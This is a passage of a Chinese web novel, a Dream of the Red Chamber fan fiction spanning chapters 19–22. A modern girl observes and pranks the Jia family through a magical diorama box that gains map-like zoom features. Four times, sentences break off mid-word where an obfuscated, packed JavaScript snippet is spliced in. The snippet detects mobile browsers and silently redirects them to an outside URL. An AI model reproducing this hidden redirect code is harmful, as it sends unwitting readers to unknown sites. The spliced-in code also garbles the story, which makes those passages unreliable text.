宝珠连忙关掉头顶上的大吊灯,换了一个温柔些的灯光,这才看清手里的东西。这些可不是黛玉口中简简单单的时兴头面,而是一整套镶嵌了珍珠宝石的黄金首饰,有凤冠、珠钗、步摇、耳坠、项链、手镯、戒指。宝珠能想到的都一应俱全,没想到的、不认识的也有好几样。 “这也太贵重了吧。”宝珠也不傻,立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062904|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻就明白了。这哪里是黛玉送的,分明是林如海借女儿的手送的谢礼。 宝珠有点头疼。她还是有点情商的,知道不能再推辞了。正常人际交往讲究礼尚往来、知恩图报,她虽然不在意对方有没有回报,但是一味拒绝别人的感谢也会伤害对方的心意,反而会破坏人际交往的平衡。 “谢谢黛玉,我很喜欢哦。”宝珠戴上手镯,在镜头前晃了晃金灿灿的手腕。 黛玉果然十分高兴。“宝珠姐姐喜欢就好。” 宝玉有些傻眼。他想了一下,自从认识宝珠姐姐以来,他也收了宝珠不少东西了,却从没想过要回赠给宝珠姐姐什么东西。上次本来有一个糖人娃娃的,结果也落到地上坏掉了。 宝玉啊宝玉,你怎么如此不堪,果然是个蠢物! 见他突然发呆,黛玉想了一想就明白宝玉的心思,却懒得理会这个笨蛋。宝珠姐姐可是救了父亲一命,也就是宝珠姐姐无所求,要不然她恨不得把自己所有都送给宝珠姐姐。 其实林如海考虑的还不止如此。但他看出孩子们和宝珠的交情纯粹而真挚,这些人情世故上的事就不必和他们说了。 宝玉也不过是短短沉寂一会,便又活泼起来。他还从未出过京城,对黛玉这一路上的见闻好奇得很。之前不好问,现在林如海无事,他就按耐不住询问起来。问了水上如何生火做饭、晚上如何停泊、夜里冷不冷,有些黛玉能答,有些却回答不了。 “我又不是厨子,如何知道怎么生火做饭?你若真想知道,那也好,改天我问了再来告诉你。”黛玉冲宝玉做了个鬼脸。 “好妹妹,那你一定要记得。”宝玉知道自己问了个傻问题,但脸上也没有什么不好意思的神色。 他说着便觉得冷了,就在亭子里蹦蹦跳跳取暖。宝珠和黛玉都劝他回去,他也不听,嬉皮笑脸地不肯走。但这点儿就有下人来会芳园寻宝玉,却是王熙凤那边叫他过去。 宝玉这下没奈何,只好关了手机跟着对方走了。 黛玉见了又好气又好笑,宝珠也有些无语。宝玉有时是翩翩美少年,有时候却简直和个小猴子似的。也难怪他最喜欢那首《孤勇者》,果然是骨子里还是个小朋友。 还是黛玉成熟些,不过看着V信上黛玉给自己取的昵称。 皮皮林。 好吧,这个成熟的也有限。 又聊了一会,宝珠见黛玉有些困倦就让她去休息了。她这几天一直守在林如海身边,其实也没怎么休息好。 挂断电话,宝珠褪下手上的镯子放进梳妆匣,看着这一匣子金灿灿的贵重首饰,宝珠也有些为难。该把它们放哪里呢?别看她在同龄人中算是个小富婆,可这一个小盒子绝对能抵好她几倍身家了。 她又细细看了几眼,越发觉得眼花缭乱。这小人乍富的眩晕感如此严重,连关上梳妆匣后她都没缓过来,眼前的造景箱看着都出现了重影。 这也太晕了吧。她怎么不知道自己以前是个经不起富贵考验的财迷。 不对! 连眨了几次眼后,迟钝的宝珠终于醒悟过来,不是她眼花,是造景箱正无声地颤动! 19.第 19 章 发生了什么事?! 当确认不是自己眼花后,宝珠有些紧张地看着造景箱。 造景箱就像是信号不良的电视屏幕,箱中所有的景象都出现了好几层的重影。小人们的举动看上去也一卡一卡的,像是古早滑稽剧里的卓别林,又像是科幻片中生了锈的机器人。宝珠看久了甚至有头晕目眩的感觉。 因为这一切都发生得悄无声息,宝珠都不知道这样的变化是什么时候开始的,只记得不久之前她看向造景箱时还一切正常。 她试探着在玻璃墙上拍了两下,试图像过往拍打电视机一样让它恢复正常。但这显然是没有用的,图像依然朦胧,拍打引起的振动反而让靠近玻璃墙的几个小人东倒西歪。 “怎么了?” “发生什么事情了?” “怎么又这样!谁推我?” 最后这声质问估计是出自某个曾经有过类似遭遇的可怜人。 而这些声音传入宝珠耳中也如图像一样失了真,缥缥缈缈地听不真切。 怎么了? 这个问题的答案我也想知道啊,可惜没有人能回答我。 一时间宝珠的脑海中转过了无数念头,但终究只能呆呆地看着造景箱,也不敢再擅自动弹了。 不知道过了多久,突然有那么一刻,所有令人不安的异象就在宝珠的注视下毫无征兆就消失了。模糊的重影重新合成了清晰的线条,小人们卡帧般的动作也恢复了流畅,图像和声音都再度清晰了起来。 一切似乎都恢复了正常。 宝珠不敢置信地再度眨眼,眼前的造景箱却平静而无辜,就仿佛刚才那些重影和失真,都只是宝珠睡前毫无道理的错觉。 宝珠看了一下手机。距离和黛玉的最后一条通话才过去了不到5分钟,可她却感觉自己熬过了一段漫长的时间,远远不止几分钟。 不管怎么样,恢复正常就好。宝珠这样安慰自己。但看着眼前一切正常的造景箱,她却有一种微妙的感觉。 有哪里和之前不一样了。 她细细地打量着箱子。还是那个荣国府,还是那些小人。 黛玉窗前,紫鹃望着天空发呆。 梨香院中,薛蟠吊着胳膊陪母亲和妹妹推牌九。 贾政正在自己的书房里和几个幕僚清客谈论书法。 贾赦大冷天的还和小妾在园子里嬉闹。 宝珠没有发现哪里有什么不同,但莫名其妙的,她突然伸出手,向着造景箱做了一个手指合拢的姿势。 “哗!” 刚刚还平静的画面突然变化,荣国府像是被巫师施展了‘速速缩小’的魔咒,所有人和物都集体变小了。众多陌生的街道和建筑像是游戏刷新一般,突然出现在宝珠面前,挤占了造景箱中因为荣国府变小而空出的位置。 这是宁国府? 这是宁荣街? “宝珠姐姐~”宝珠耳边突然响起熟悉的少年声音。宝玉的声音像往常一样,从众多的嘈杂声中脱颖而出,清晰地传入宝珠耳中。 宝珠循声望去,好不容易才在宁国府的一处角门前找到了分别没多久的宝玉。如今身形小了一半的他正兴奋地朝自己招手。 宝珠也朝他挥挥手,还来不及说话,马车上的王熙凤听到了声音,忙探出头。“宝玉,你在叫谁呢?” “没有啊,凤姐姐听错了罢。”宝玉嘻嘻笑着。下人们不敢出声,王熙凤虽然知道他在搞怪,但看了一圈确实没看到什么年轻女子,也就不和他较真。“快上车吧,外面冷。” 宝珠也就不再和理宝玉了。她这会兴致正浓,就像一个突然发现游戏新玩法的小孩子,在开心探索新世界。 再次合拢五指,宁荣两府都变成了造景箱中不起眼的角落,更多更广的天地被容纳进了造景箱。 张开五指,宁荣府又成了造景箱的主角。 这不就是触摸屏的缩小放大功能吗?宝珠连接用了几次缩小,当最后已无法再有变化时,一座雄伟的古代都城出现在宝珠面前。 这就是十八世纪初的北京城啊! 虽然远不及现实世界国际化大都市的北京高楼耸立、行人如潮,但大楚朝的北京另有一种雄厚威严的气派。 在这座都城中,宝珠看到了熟悉的紫禁城。它似乎和她在现实世界中见过的差不多,但里面来来往往的不是来参观古代帝王居所的游客,而是古代帝王本身和他的嫔妃奴仆们。 宝珠在一处宫殿内看到了那个穿着明黄色龙袍的皇帝。这个掌握着古代最高权力的男人在宝珠看来不过是个相貌平平的中年男人。他正神情严肃地和几个官员在商讨着什么问题。宝珠听不太懂,也就不在关注他们了。 后宫里也不如宫斗剧中表现的那么热闹。估计这初春时节还是太冷了,嫔妃们都窝在自己的房间里不出门,只有最下层的太监和宫女在外面奔波。宝珠记得紫禁城中还有一位太上皇,但她看来看去也没有发现疑似是他的人。 稍微满足了一下好奇心,宝珠就把视线移出了紫禁城。 除了能缩小放大,造景箱还升级出了画面重置和移动的功能。 是的,除了“升级”,宝珠也想不出更合适的词语来形容造景箱的这次变化了。 手指长按,造景箱自动切回到最初的荣国府。 手指划动,就能根据划动方向移动到上下左右相应的地方。 这完全就是在触摸屏上看3D地图啊,操作起来实在是太方便了。 宝珠姐姐怎么一会能看到,一会看不到啊?宝珠坐在马车上,撩起帘子惊奇地看着外面。天空中,宝珠的身影时不时地闪现一下,身影也忽高忽低,忽大忽小。 “宝玉,你在看什么?”王熙凤被冷风灌了一脖子,忙把车帘放了下来。“这么冷的天,一时看不到你,你就跑到园子里挨冻。回去要是生病了,太太问起,你可别赖我啊!” 宝玉忙拉着凤姐的胳膊撒娇,“不会不会。我身上可暖和呢,不信你摸我的手。” 王熙凤当真去握他的手心,果然是暖暖的,这才放心。“这次没冻着,下次冻着可怎么办?生病可不是闹着玩的。” 宝玉笑着岔开话题,“蓉儿媳妇病好点没?我看她气色比前次好得多。” “好是好多了,就是还得慢慢调理。对了,我正好问你,老太太说你如今又不去家学读书了,可是学堂里有什么不好?” 宝玉奇道,“凤姐姐怎么问起这个?” “我怎么不能问了?”王熙凤笑道,“我虽不读书,自有人读书。蓉儿媳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078382|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妇的弟弟正在寻地方进学呢,她来问我,我又没去过学里,哪里知道。你快把实话告诉我,如果真是不好,我就不让他去了。” 宝玉这才明白,便把家学里那边乱七八糟的状况都说了。王熙凤倒吸一口气,又想起贾瑞是贾代儒的孙子,狠狠道,“每月也不知道拿了族里多少银子,却把学堂弄成这样……” 她这话也不知道说谁,宝玉也不好接话。不多时,马车就进了荣国府的大门。宝玉下车时忍不住抬头看天,宝珠却是又不见了。 宝珠这时正望着新出现的城市发呆。 这也未免惊喜太大了。不单是地图从荣国府扩大到了北京城,点击右上角还能切换城市地图。 而宝珠本能地就猜出了这座城市的名字。 扬州。 不是因为入目得见江南水乡的秀美。 不是因为认出了街巷酒幡上的文字。 而是基于一个最简单的判断。 唯二能见到她的人,一个在京城,一个在扬州。 她最近做过的唯一有可能引发“升级”的大事,就是在扬州救了林如海的性命。 这里不是扬州,还能是哪? 所以,这次升级是对自己的奖励吗? 而这个奖励是因为自己救人一命,还是因为自己改变了红楼后续走向呢? 可惜这个造景箱也没个使用说明。宝珠遗憾地想。 宝珠手指长按重置画面,果然“地图”切到了一座挂着“林府”匾额的府邸。 这就是林妹妹的家了。 不同于荣国府的堂皇气派,这座林府如同它所在的江南一般秀美灵巧。林府的面积并不大,只当得了小半个荣国府的面积,而且府里大部分都是园林花木,真正住人的屋舍不过三四十间。 可惜林妹妹去休息了,要不然能给她一个大惊喜。 宝珠四处张望着,突然看到了一个有几分眼熟的身影。 这是……贾琏? 与其说认出了对方,不如说是她先听出了贾琏的声音。 “都说扬州瘦马出色,今个我可要去见识见识!” 不是吧! 宝珠看着那个一脸“我想要涩涩”的俊秀青年男子,有点震惊了。 这一路上贾琏对黛玉都照顾得很周到,前几天在林如海面前也表现得忧心忡忡,宝珠本来以为他会继续一个好外甥、好兄长的表现,结果林如海这病才好点,他就色心大动了。 这才过了几天啊,而且凤姐和平儿在荣国府里还等着你呢! 宝珠面色一沉,忍不住故技重施。 “啊呀!”正想着定要找个绝色来陪的贾琏突然觉得身体失控,青年往前踉跄了几步,依然没能稳住身形,重重摔在地上。 “琏二爷~” “哈哈~”宝珠忍不住开怀大笑。 贾琏这人虽然好色,人品却不算太差,所以宝珠没下重手。被下人扶起来之后,贾琏拍拍脏了的衣裳,也不骂人,只是叹自己运气不好,“前段时间蟠兄弟摔了,今天我也摔一跤,还好摔得不重。” “兴儿,你让外面的马车等等,我洗了脸,换一身衣裳再去。” 呃…… 这样还想着涩涩啊。看来果然是摔得太轻了。 20.第 20 章 虽然贾琏这样打算着,但等他整理好仪容、重新换过衣裳,恰巧林如海派人来唤他,他也就只好彻底打消了出去潇洒的念头,乖乖过去了。 林如海在自家晚辈面前比在宝珠面前随意得多。他脱了刚才见客的正经衣裳,只披了一件外衣,斜斜倚在床头和贾琏说话。贾琏看姑父的病情越发好转,心中也很欢喜,但等林如海看似随意地问了几句后,他就暗暗叫苦起来。 林如海也心中一沉。如果说宝玉是天性散漫所以没有好好读书的话,那贾琏就基本上属于没读过书的那种。诗词经史一概不通,平素只在些往来世故的俗务上下功夫。 虽然知道贾家勋贵出身,贾琏和宝玉日后自有一份前途,但君子之泽,三世而衰,何况荣宁二公的血脉如今到玉字辈已经是第四代了。若是不早早筹谋,到再下一辈又当如何? 林家在开国时也属勋贵,但到林如海这一辈早已成了正经的书香门第,这便是父祖早有预见、专心教导族中子弟读书的结果。如今族中小辈已有数位靠科举授官,未出仕的也在老家安心耕读。虽然远不如当年显赫,但传承家业、支撑门楣却是无忧。 唯一可惜的是自己这一支子嗣艰难,黛玉如今连个近些的叔伯辈都没有,只能依附外祖母家。但这也是天意,强求不得。 贾琏不知道林如海心中为自己担忧,他一边竭力回答对方的问题,一边却又耐不住胡思乱想。这几日林姑父病情好转如同神助,难道是林妹妹那次带回来的药真的管用了?可惜那日之后,林家所有人都对此事避而不谈,他便也不好多问。 但如果真的有神药…… 贾琏忍不住动心,那等宝物也不知可以换多少钱货。好在他虽然好色贪财,终究不至于利欲熏心,这些想法也就只在心里转一转就强忍着放下了。 宝珠不知道贾琏还曾经打过青霉素的主意,她这会正在观赏扬州的市井。比起还在严寒中的北京,扬州的初春时节要热闹得多。 扬州城的街道不如北京城那样方正,河水弯弯绕绕地穿行在扬州城中,画出了许多不规则的弧形。岸边杨柳青青,有些已经冒出了嫩绿的新芽。妇人们在水边洗衣,她们的手、脸都冻得通红,正一边卖力捶捣,一边和身边的亲邻们说着家长里短,似乎这样就能减轻劳作的辛苦。 小贩们伸着脖子在街边叫卖,热情地招揽着每一个经过的行人,每当有人在面前停下,他们就熟练地向他们介绍自己的货物。新鲜摘取的瓜菜、精心编制的竹篮、物美价廉的首饰,不一而足。 小孩子容易在红艳艳的糖葫芦和七彩的风车面前停驻脚步,任凭大人们拉也拉不走。于是拗不过孩子的父母就只能掏出铜板平息事态。但也有囊中羞涩或是不愿意将就孩子的家长,沉着脸把哭闹的孩子拉走了。 宝珠最怕听孩子的哭闹声,早早就移开目光。街角处却有个衣着破旧的老人目不转睛地看着那些孩子,眼中带着怀念和痛苦。尤其是遇到四五岁的女童,他更是无法移开自己的视线,嘴里还喃喃念着一个名字,只是听不真切。 十二点的时间一到,神奇的造景箱又如同灰姑娘的南瓜车一样,恢复了原本的模样。虽然还没看够扬州的景象,但宝珠也只好回去睡觉了。 她已经忘记了在北京城里还有一个宝玉,一直没有等到宝珠的少年有些失望。王熙凤刚探望过病中的秦可卿,这时也不免想起陪着黛玉回扬州的丈夫。但她素来好强,也不提贾琏,却和宝玉说起黛玉来,“也不知道林妹妹的船到哪里了?她身子不好,路上又辛苦……” 她刚说了两句,又怕引起宝玉担心黛玉,忙停了嘴。却不料宝玉浑然不觉,反而笑着安慰她,“凤姐姐不用担心,我昨儿做了一个好梦。梦见林妹妹身子没事,她和琏二哥早到了扬州,林姑父的病如今也大好了。” 王熙凤只当他小孩子天真,“若是那样就好了。” 宝玉心里却是有数的。他回到家里,先把黛玉的事情和紫鹃说了,紫鹃这才放了心。如今黛玉没在,他也不好在她房里久待,就又到了史老太君膝下,把刚才和凤姐说的话又和祖母说了一遍。老太君虽然不深信,但也当成一个难得的吉兆,心中多少宽慰了些。 可老太君安心没过几日,连接就有两件丧事传了过来。一个是家学里贾代儒的孙子贾瑞病死了,一个是宁国府中凤姐刚探过病的秦可卿也过世了。 前者对荣国府而言不算大事,不过是派了个有体面的管事过去,送了些丧葬银子就算是尽了亲戚间的礼数。但秦可卿却是宁国府的嫡长媳、也是贾家未来的宗妇,她的突然过世把荣国府的大小上下都惊动了。 刚去看过秦可卿的凤姐不免心中生疑。入春后,秦可卿的病情明显好转,前几日更是能和她说说笑笑,还有心思替自家弟弟的学业打算,怎么突然人就没了。两府中有此疑心的也不止王熙凤一人,但关系大家的体面,也就无人敢多说多问,也就私下与亲近人讨论一二罢了。 宝玉却是另一番心思。若是早知道蓉儿媳妇的病如此重,他也该替她求求宝珠姐姐。就算不能如愿,也当是为她尽了一份心。 宁国府那边贾珍悲痛欲绝,妻子尤氏却不巧病了,便还是如书中那般求了王熙凤帮忙理事。王熙凤一来看贾珍诚心相求,二来也想在宁国府和族人面前显显身手,假意推辞了一番就应下来了。 宝珠后几次来的时候,便不由把注意力更多地放在了宁国府、以及协理宁国府的王熙凤身上。看偌大一座国公府挂满了白幡白布,穿着白色丧服的小人们奔波忙碌,前来吊唁的亲友络绎不绝,宝珠还是深觉受到了震撼。 灵堂前还有和尚道士敲钵念经,配上亲友仆役的哭丧声,宝珠感觉不是死了秦可卿一个人,而是宁国府阖府上下都死光了才该有这等声势。 只是浪费啊! 虽然感慨贾珍为了儿媳“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114414|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽我所有”的奢侈,但见凤姐把宁国府若干大小事务都安排得明明白白,压得某些惯于偷懒使坏的人也不敢冒头,宝珠还是十分佩服的。 她固然乐于当个咸鱼米虫,但对这些能做实事、愿意做实事的强人却是真心佩服。 王熙凤一边乐在其中,一边确实也劳累。好在这些天终于有贾琏的信回来。得到他们平安到达扬州,且林如海病情转好的消息,王熙凤自然大喜过望,从史老太君到贾政贾赦也都放了心。 王熙凤单独把送信的兴儿叫到一边,问他贾琏有无在外面花心作怪。结果兴儿一脸苦笑,“二奶奶这回可是错怪二爷了。林家姑爷才好了些就天天把二爷拘在身边,每天不是跟着看书,就是说什么盐的铁的、出的入的,偶尔出门也是去林家的铺子帮助盘账目、理生意,哪还有时间去外面玩。” 王熙凤听了大喜,但忍住了继续问,“外面没有,那家里就没得鬼混的?” 兴儿更是大呼冤枉,“二奶奶也太看轻二爷,那边到底是亲戚家,哪有在亲戚家里乱来的!而且林家管束得严,二爷就算有坏心,也没地使去!” 王熙凤忍不住翻了个白眼,“只怕这后半句才是真心话吧。” 话虽如此,王熙凤还是给了兴儿赏钱。等他喜笑颜开地退下,王熙凤这才和平儿一起笑了起来。“这可是真要对林姑爷道谢了。我还当没人能管束得了这个色虫,没想到他竟肯听林姑爷的话。” 平儿也叹息,“可见林姑爷是个再正经不过的人,可惜我们老爷却是……” “却是个老不正经。”王熙凤却是不忌讳,直接说道,“都过五十的人了,还左一个小老婆、右一个小老婆的,自己不保养,还拉着儿子胡混,真是个糊涂人。” “二奶奶快别说了。”平儿吓得忙往外面看,见没其他人才松了口气。 “怕什么,就我们两个人私下说说有什么不行的。” “就怕隔墙有耳。” 宝珠赞同地点点头。她如今就在听着呢。 如今天气渐渐好了,各处门窗都不像之前紧闭,她有意无意地也就接触到了更多。 尤其是宁国府那边,秦可卿过世,尤氏生病,虽然丧事上有王熙凤管得井井有条,但私下里亲戚仆役们传的话就多了。有赞叹贾府丧事花钱如流水的、有揣测秦可卿死因的,有骂王熙凤狗拿耗子多管闲事的,还有漠不关心、只想借着丧事捞钱的。 宝珠其实也好奇秦可卿到底是因何而死,但真正知情的人都闭口不谈。她听到尤氏身边的老嬷嬷劝了她几句,虽然两个人都说得含糊,但还是足以判断秦可卿之死确实有蹊跷,而她与公公贾珍之间的私情也大概率是真的。 宝珠对秦可卿的死倒是没有什么可惜的,就是她身边那两个小丫鬟可怜。一个瑞珠撞柱自杀,一个和她同名的宝珠出家了。这些大家族里上层人的阴私,却连累了身边无辜的下人仆从。 21.第 21 章 虽然宝珠出于某种轻蔑的心理,乐得把宁国府这一场盛大的丧事当连续剧来看,但这个由着各色人等卖力表演的舞台终于还是到了曲终散场的时候。 凑巧的是,宝珠赶上了秦可卿出殡的正日子。 不巧的是,宝珠来得太晚了,没能亲眼看到书中“浩浩荡荡、压地银山一般”的出殡场面。 好在宝玉当时有偷偷拍了几张照片,他把照片传到群里,让她和远在扬州的黛玉都一次长了见识。 虽然因为薛蟠还吊着胳膊没法去铺子上,没人送上“坏了事”的老义忠亲王的棺椁,但这一点也不影响秦可卿出殡的声势浩大。宝珠在赞叹之余,心里只剩下一句“好奢侈啊”的废话。 而且宝玉如今的胆子也确实是越来越大了,这样人多眼杂的场合,也敢把手机拿出来拍照。这也是奇怪,宝珠自己拍照片时,除了模型什么也拍不到。但宝玉、黛玉用她给的手机拍照就完全没有问题。 宝玉这时已经和王熙凤歇在了水月庵里,他怕凤姐发现,就只敢悄悄地在群里发些文字和照片。偶然提起初次见面的北静王水溶和秦可卿的弟弟秦钟,宝玉便对这二人大加夸赞。 【绛洞花主】:天下竟有如此人物,还一气儿让我得见两个,可见我确实是见识短浅,泥一般不堪的人物。 【皮皮林】:才见了一面你就成泥一般,再多看几眼岂不是要活不得了。 【绛洞花主】:[表情]无辜的小狗 【饱猪儿】:[表情]捶地大笑。@绛洞花主让你喜欢胡言乱语,被妹妹怼了吧。 话是这么说,其实作为颜狗的宝珠对这两个书中的美少年还是颇感兴趣的,可这当儿宝玉又没有照片可以给她看,她也就懒得听了。 宝玉见状只好又换了话题,说起路上偶然经过的一处农家,还传了木犁、铁锄之类的农具照片给她们看。 宝珠小时候蜀都三环路上还只能算是城乡结合部,欧家还有自家的院子和菜地,所以什么钉耙、锄头、镰刀什么的欧宝珠基本都用过。她看宝玉在那里说得起劲,也不去纠正他犯的某些常识性的错误,只想着要在下次的科普册子中加上点农家小知识。 看这两个少男少女正说得起劲,宝珠干脆把手机放在了一旁,只偶尔看上一眼。她现在更好奇的是水月庵和铁槛寺。 水月庵因为做馒头做得好,常被戏称为馒头庵。而馒头庵和铁槛寺正是曹公的妙笔之一。 “纵有千年铁门槛,终须一个土馒头。” 范成大的这句诗,短短十四个字便说尽了世间兴亡。后来借邢岫烟的口道出,何尝不是曹公向当时还懵懂的宝玉暗喻贾府的衰亡。 可卿出殡、凤姐弄权也都有这两座寺庙的出场。 这么重要的场景应该不会被排除在箱子之外。宝珠对此有着模糊的预感。果然,没多久她就沿着一路散落的纸钱,在造景箱最上方的边缘,也就是北门城外不远处找到了铁槛寺。 前来送殡的亲友大多都已经散去了。秦可卿的棺椁停在内殿的一处偏室中,仆人忙了一天,都找了地方休息,只有那个与宝珠同名的小丫鬟在灵前默默垂泪。 那个愿意为这个儿媳妇尽其所有的贾珍,这会正在外面和儿子贾蓉说话。两父子神情自若,甚至还能说笑上两句,完全看不出有什么龃龉。 宝珠觉得多看他们一秒都要脏了自己的眼,便移开视线,很快在铁槛寺不远处找到了宝玉和王熙凤歇息的水月庵。 宝珠也没惊动宝玉,而是悄悄找到了王熙凤歇脚的屋子。果然看见屋里一个老尼姑正在王熙凤耳边嘀咕金哥的事。凤姐对这档子事本来是没什么兴趣的,但这个老尼很了解王熙凤,见求告不成,就用起了激将法。一句“倒像是府里也这点子手段也没有”,立刻就使得好强的凤姐松了口。 至于守备家有没有不分青红皂白地作践辱骂女方,坏人姻缘有没有地狱阴司报应,凤姐是一概不在意的。在相熟的老尼面前展示了一番自己的手段,又轻轻松松得了三千两银子,何乐而不为。 凤姐听着净虚卖力的奉承,心里正得意,突然听得窗户啷当一声打开,然后眼前一花,无数白花花的纸钱随着刺骨的寒风,从外面飘飘洒洒地落了进来。 “啊!”王熙凤先是吓了一跳,然后定定神,就探头往外面骂,“是哪个不长眼的乱撒纸钱,快把他抓来打板子!” 但外面并无人回应。王熙凤等了一等,飘进来的纸钱也不见歇,她抬头望去,外面也不曾见到一个人影,只有洋洋洒洒、仿佛没有止尽的纸钱从空中落下,不偏不倚地直直往她身上来。 王熙凤顿时觉得心中冰凉。刚才随口说出的那些大话如同洪钟大吕,正一个字一个字地在脑子里轰然作响。 阴司地狱…… 报应…… 看着王熙凤惊恐的脸,宝珠叹息一声,依然继续把拾来的纸钱往她身上撒。如果你不能收手,就当我提前为你送丧吧。 这时听到王熙凤的命令往外面找的下人也到了现场,他们一个个都望着半空中无端飘落的纸钱发呆。好一会,才有人颤抖着声音回复。 “二奶奶,这外面没有人,纸钱、纸钱是从天上飘下来的!” 房间里正不知所措的众人轰得一下慌了。王熙凤得了验证,手脚僵硬地从窗户旁退开。这时也无人敢靠近窗户,任由那飘进来的纸钱落在炕上、桌上、然后如落叶般厚厚铺了一地。 “阿弥陀佛,阿弥陀佛!”净虚也不知道平素是不是亏心事做得多了,一边忙不迭地念着佛,一边眼睛骨溜溜地转着,随时准备逃出去。 几个小丫鬟吓得腿都软了,满屋子人中只有凤姐还强撑着,但也觉得脑袋里嗡嗡的,脚底如踩了棉花般发软。 “凤姐姐,怎么了?”正和黛玉偷偷聊天的宝玉听见里屋的动静不对,忙收起手机进来。这时正好飘来的纸钱停了一息,他只看见屋子里一地的纸钱。因为今天是出殡的日子,宝玉也不觉得纸钱出现得奇怪,只以为有人把祭品碰撒了。 “是谁这么不小心?小心凤姐姐罚你。” 但等了一息没人理他,宝玉这才发觉女眷们都惊恐地看着一扇空荡荡的窗户,连往常胆子最大的凤姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126443|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐也不例外。宝玉到底是个少年人,看她们这样也起了点害怕,但想着自己是屋子里唯一的男子,他又壮着胆子走到窗前。 “谁在外面?!”宝玉厉声喝问,也算是为自己壮胆。 他本来已经做好了见到某些恐怖之物的准备,却没想到抬头看见的却是宝珠已经转为微笑的脸。 “宝……” “要保密哦!”宝珠笑眯眯地对少年比了一个禁声的手势,然后撒出了最后一把纸钱。北门外这一路的纸钱都被她捡得差不多了,大楚朝这边如果有环卫人员的话,真该给她颁发一个最佳卫生市民奖。 宝珠姐姐在做什么啊? 宝玉看着扑面而来的纸钱正摸不着头脑,王熙凤已经回过神来,一把将他从窗边拉了回来。“宝玉,你没事吧。” “我没事。”宝玉茫然回答。王熙凤也不多问、更不解释,振作最后一点勇气拉上宝玉就往外走,“这里住不得了,我们立刻回铁槛寺去。” 水月庵中其他的人不知道里面出了什么事,但听凤姐吩咐下来,便都收拾行李的收拾行李,套马的套马,没一会就准备齐了。 净虚一来不敢拦凤姐,二来她自己心中也害怕,便跟着凤姐后面低头念佛。宝珠对这个一肚子坏水的老尼姑十分反感,直接看准机会弹掉了她头上戴着的僧帽,又用小指头把她按倒在地,也不用力压她,只是按着她不让起身。 净虚见身边明明无人,自己却被压着动弹不得,越发慌了神。之前还强撑着的镇定这时俱都没有了,整个人泪涕并下,口里胡乱喊着。“菩萨救命,佛祖救命!” 喊了几声见不管用,她口中喊的话又变成“菩萨饶命,佛祖饶命!”看来她对自己的行为还是有认识的。 她的两个小徒弟试图去拉她,但一阵风起,小尼姑们被齐齐吹开。这下众人更慌了,认定确实是有神怪作祟,一齐喊着从水月庵里竞相跑了出去。 宝玉被凤姐抓得死紧,又有一众仆人簇拥着他们二人往外跑。他挣扎着往回看,却见宝珠一手悠闲地按着净虚,一手对他摆摆手,示意他先走,他也只好迷迷糊糊地跟着众人出了水月庵,又慌里慌张地回到了铁槛寺。 铁槛寺那边的贾珍等人自然是惊讶的,凤姐找了借口搪塞过去,又好歹把第二天的丧礼首尾料理完,就匆匆带着宝玉回家了。她受了这一次惊吓,竟是把往常那些不敬神佛的心都收了许多。没多久,她寻了净虚一个错处,把这老尼姑赶出了水月庵。 净虚也不敢分辨。她当日的狼狈模样整座庵中的人都看见了,如今连两个徒弟都不肯跟她。她只得闷闷收拾了行李,投奔他处了。 而宝玉心中的疑惑,宝珠早在当日回铁槛寺后就给他解释清楚了。 【绛洞花主】:没想到净虚这老尼姑竟是这样的人。那张家明明是想悔婚去攀附权贵,凤姐姐怎么能信了她的话! 【饱猪儿】:…… 【饱猪儿】:你家凤姐姐可不傻。 王熙凤要是傻了,整个红楼梦中就没几个聪明人了。不过是好权贪财、外加骨子里的傲慢而已。 22.第 22 章 手机中两个玉儿一时都有些沉默,宝珠也没再多说什么。王熙凤毕竟是他们的亲人,他们以往见到的都是对方最好的那一面,一时难以接受也是正常。 如今已经是初夏时节,扬州各处都是花团锦簇。宝珠看中一处废园中的野蔷薇开得好,这里四下无人,宝珠就拿了修眉毛的小剪子悄悄剪了几支。 